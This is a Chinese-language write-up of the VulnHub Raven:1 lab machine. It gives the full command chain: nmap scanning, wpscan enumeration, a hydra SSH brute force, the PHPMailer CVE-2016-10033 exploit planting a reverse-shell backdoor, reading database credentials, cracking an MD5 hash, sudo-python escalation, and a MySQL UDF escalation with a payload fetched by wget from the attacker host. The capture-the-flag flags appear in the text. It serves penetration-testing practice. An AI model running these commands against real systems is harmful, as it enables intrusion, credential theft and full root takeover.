Vulnhub-Raven1 靶机练习

靶机地址:Raven: 1 ~ VulnHub

1. 基本信息

Kali:192.168.26.131

靶机:192.168.26.136

2. 信息收集

arp-scan -l

Vulnhub-Raven1 靶机练习_第1张图片

或者

nmap -sn 192.168.26.0/24

Vulnhub-Raven1 靶机练习_第2张图片

之后进行全端口扫描,保证自己的隐蔽性(假设真实环境)

nmap -sT --min-rate 10000 -p- 192.168.26.136 -oA ./nmap_report/raven1/port

Vulnhub-Raven1 靶机练习_第3张图片

紧接着进行每个端口的详细内容探测

nmap -sT -sC -sV -O -p22,80,111,49684 192.168.26.136 -oA ./nmap_report/raven1/detail

Vulnhub-Raven1 靶机练习_第4张图片

3. 渗透测试

这里我们就先着手从最简单的,最有可能的80端口进行渗透

先进行一波目录扫描

Vulnhub-Raven1 靶机练习_第5张图片

这里已经知道 CMS 是 wordpress 了

访问vendor目录,并一一查看文件,发现里面有 phpmailer的服务,并且版本时 5.2 可以尝试利用改服务的漏洞

Vulnhub-Raven1 靶机练习_第6张图片

继续访问80端口的页面

Vulnhub-Raven1 靶机练习_第7张图片

我们可以尝试访问一下每一个标签

访问 service 标签,查看源码,发现flag1

Vulnhub-Raven1 靶机练习_第8张图片

flag1{b9bbcb33e11b80be759c4e844862482d}

访问到 BLOG 时,URL跳出了 wordpress,说明了CMS的类型

Vulnhub-Raven1 靶机练习_第9张图片

由于点击一些链接跳转的是域名,所以我们修改一下hosts文件

显示正常了

Vulnhub-Raven1 靶机练习_第10张图片

存在登陆页面

Vulnhub-Raven1 靶机练习_第11张图片

当我们确定了 CMS 是WordPress,并且找到了登陆后台,就可以利用WPscan工具探测WordPress漏洞

当然,如果Kali里面没有的话可以先

apt install wpscan
wpscan --url http://192.168.26.136/wordpress/ -e vp,u
-e是枚举,vp是 Vulnerable plugins检测漏洞组件,u是user 爆破用户名

漏洞没有检测出来,但枚举出了用户名

Vulnhub-Raven1 靶机练习_第12张图片

也尝试爆破其登录页面,但是没有成功,所以尝试 ssh 爆破

a. Get Shell 1

上九头蛇!(hydra)

把两个用户名放入 user.txt文件中

hydra -L ./user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.26.136 -vV -f
-vV是显示详情内容, -f是遇到正确密码就停止

Vulnhub-Raven1 靶机练习_第13张图片

开始ssh登录

Vulnhub-Raven1 靶机练习_第14张图片

此处查看 michael 没有管理员的任何权限

查找flag

find / -name *flag* 2>/dev/null 

找到文件

flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

b. Get Shell 2/3

Vulnhub-Raven1 靶机练习_第15张图片

在之前我们知道他有 phpmailer 的服务,所以我们尝试利用这个服务的漏洞getshell

在 Kali 中搜索有关 phpmailer 的 exp

Vulnhub-Raven1 靶机练习_第16张图片

根据版本号对应,5.2.16 < 5.2.18

知道我们这就简单使用第四个 python的exp

将它拷贝到当前目录下

searchsploit -m 40974.py

(可以使用searchsploit -x 40974.py来查看其内容,在查看其内容后,可以知道这个漏洞的编号为CVE-2016-10033)

可以查看该漏洞分析

【漏洞分析】CVE-2016-10033:PHPMailer远程代码执行漏洞的分析-安全客 - 安全资讯平台

PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC)-腾讯云开发者社区-腾讯云

修改python脚本的内容(PS:后门文件上传到靶机的路径应该是必须要更改的否则无法反弹shell,且文件名不能用backdoor.php)

文件开头加上

!#/usr/bin/env python

修改 target 地址为网站邮件页面地址contact.php,后面文件g.php(两处),kali监听的本地ip

上传成功

Vulnhub-Raven1 靶机练习_第17张图片

访问 http://192.168.26.136/g.php

Vulnhub-Raven1 靶机练习_第18张图片

用 python 获取便捷的命令行界面

python -c "import pty; pty.spawn('/bin/bash')"

在 www目录下有flag2.txt,已经拿过了

我们不知道 www-data 的密码,还无法获取到他的权限信息

我们进入网站的配置文件(/wordpress/wp.config.php)查看有没有敏感信息泄露

发现泄露了数据库的账号密码

Vulnhub-Raven1 靶机练习_第19张图片

也看到数据库是运行的

连接进入数据库,进入wordpress库内

Vulnhub-Raven1 靶机练习_第20张图片

其中,在 wp_posts 中发现了flag3和flag4

Vulnhub-Raven1 靶机练习_第21张图片

flag3{afc01ab56b50591e7dccf93122770cd2} 
flag4{715dea6c055b9fe3337544932f2941ce} 

在 wp_users表中找到了另外一个的账号steven密码

Vulnhub-Raven1 靶机练习_第22张图片

这里有两种方式解决他的密码:1、用MD5解出 2、修改他的密码

这里我们选择解MD5进行尝试

这里cmd5网站居然没解出来?!

我们换了一个居然可以MD5免费在线解密破解_MD5在线加密-SOMD5

Vulnhub-Raven1 靶机练习_第23张图片

这会登录网站的后台页面:用户名:steven 密码:pink84 成功了

同样,登陆到后台找到 flag3

Vulnhub-Raven1 靶机练习_第24张图片

我们尝试用账号密码去ssh登陆steven

Vulnhub-Raven1 靶机练习_第25张图片

c. 提权

并且发现 steven 账号可以不需要权限就可以 sudo执行python,也就是说我们可以利用python提权,这里可以直接用python的伪终端交互 pty 库实现

sudo python -c "import pty;pty.spawn('/bin/bash')"

Vulnhub-Raven1 靶机练习_第26张图片

至此已经拿到 root 权限

找到最后 flag4!

Vulnhub-Raven1 靶机练习_第27张图片

d. 提权 another

刚才进入了数据库,所以可以尝试数据库 UDF 提权

查看数据库版本:

select version();

Vulnhub-Raven1 靶机练习_第28张图片

查看数据库是否有读写权限

show variables like '%secure%';

这里看到是有读写权限的

( secure_auth参数设置了MySQL安全认证的机制。它的取值为ON或OFF。默认值是ON。如果设置为ON,则MySQL会使用新的验证机制,可以更好地保护MySQL服务器免受不可信任的客户端及不受控制的加密算法破解密码。设置为OFF,则复原为旧的验证机制,无法保护服务器免受攻击。)

其中当参数 secure_file_priv 为空时,对导入导出无限制,当值被设置为NULL时,禁止导入导出功能

Vulnhub-Raven1 靶机练习_第29张图片

去漏洞库查找是否有相对于的 exp

这里看到一个 4和5版本都能利用的 exp 1518.c

Vulnhub-Raven1 靶机练习_第30张图片

利用 -m 参数将 exp 拷贝到当前目录

searchsploit -m 1518.c

查看此 1518.c 文件,了解用法

cat 1518.c

Vulnhub-Raven1 靶机练习_第31张图片

进行编译

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
-g: 表示在编译过程中生成调试信息,以便在调试程序时使用。
-shared: 告诉编译器生成一个共享对象(动态链接库)而不是可执行文件。
-Wl,-soname,1518.so: 通过选项 -Wl 将 -soname 传递给连接器,指定共享对象的名称为 "1518.so"。
-o 1518.so: 指定输出文件名为 "1518.so",即生成的共享对象文件的名称。
1518.o: 输入文件,表示需要编译和链接的目标文件。
-lc: 用于告诉连接器链接 C 标准库。

再将 1518.so 上传靶机

Kali 开启 http服务

Vulnhub-Raven1 靶机练习_第32张图片

靶机通过 wget 下载,下载到 /tmp目录下(此处又用mv命令移到了/tmp目录,保证之后数据库读取文件有权限)

Vulnhub-Raven1 靶机练习_第33张图片

进入wordpress数据库

Vulnhub-Raven1 靶机练习_第34张图片

创建临时表

create table foo(line blob);

将 /tmp 目录下的 1518.so 数据写入 foo 表中

insert into foo values(load_file('/tmp/1518.so'));

再将该数据表的内容(也就是1518.so的代码)写到数据库的插件目录下

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

之所以这么做的原因是,如果直接把文件写到 /plugin 目录下普通用户是没有 w权限的,只有root才有此权限,所以利用数据库将该 exp写入此目录下,再通过调用进行下一步提权

创建自定义函数 do_system ,并且返回类型为整数型,指定函数的实现位于共享库的名为“15.15.so”文件中

create function do_system returns integer soname '1518.so';

查看该函数是否成功创建

select * from mysql.func;

Vulnhub-Raven1 靶机练习_第35张图片

利用该创建好的函数进行提权,将find命令赋予以该文件拥有者的权限进行执行,也就是说,只要用 find命令就可以视作 root 权限执行命令,具体操作往后看

select do_system('chmod u+s /usr/bin/find'); 

退出数据库,或者另开命令行窗口

find -name aaa -exec whoami \;
find -name aaa -exec /bin/sh \;

Vulnhub-Raven1 靶机练习_第36张图片

-exec whoami \; 这是 find 命令的选项,用于执行指定的命令。在这里,whoami 是要执行的命令,\; 用于表示 -exec 选项的结束。每当找到匹配的文件时,find 命令会执行一次 whoami 命令,并将结果显示在终端上。而此时执行 find命令的权限为 root。

/bin/bash 提权失败,换成 /bin/sh 提权成功

虽然用户还是 michael,但是其利用 find 执行命令的权限为 root,所以等同于提权成功

Vulnhub-Raven1 靶机练习_第37张图片

Vulnhub-Raven1 靶机练习_第38张图片

番外篇

在1518.c中看到了最后提权方式的不同,就尝试此方法

Vulnhub-Raven1 靶机练习_第39张图片

没有成功,所以如果有知道的大佬请给出解答,谢谢!

4. 总结

ⅰ. 流程:

  • 进行端口扫描,记录有用信息,有22,80,111等端口开放
  • 着手从简入繁,首先对80端口进行渗透
  • 信息收集,目录扫描等方式可知 wordpress,并存在 phpmailer服务,可以进行漏洞利用
  • getshell方法
    • 利用 phpmailer 服务的exp
    • 利用wpscan获取用户名,再利用 hydra 进行密码爆破,随网站登录失败,但可ssh登录
    • getshell一个用户之后,利用数据库信息,getshell另一个用户
  • 提权方法
    • 利用数据库进行 UDF 提权
    • 在 steven 用户下意外发现可以sudo权限下无密码执行python,并利用此进行提权

ⅱ. 知识点

  • 学会了wordpress的利用工具 wpscan 的使用
  • 知道信息收集不同服务,可能会存在漏洞,并有可利用exp
  • 拿下数据库之后可以获取更多的敏感信息,从而扩大利用面
  • 或尝试利用数据库 UDF 提权

你可能感兴趣的:(Vulnhub,网络安全,网络,安全)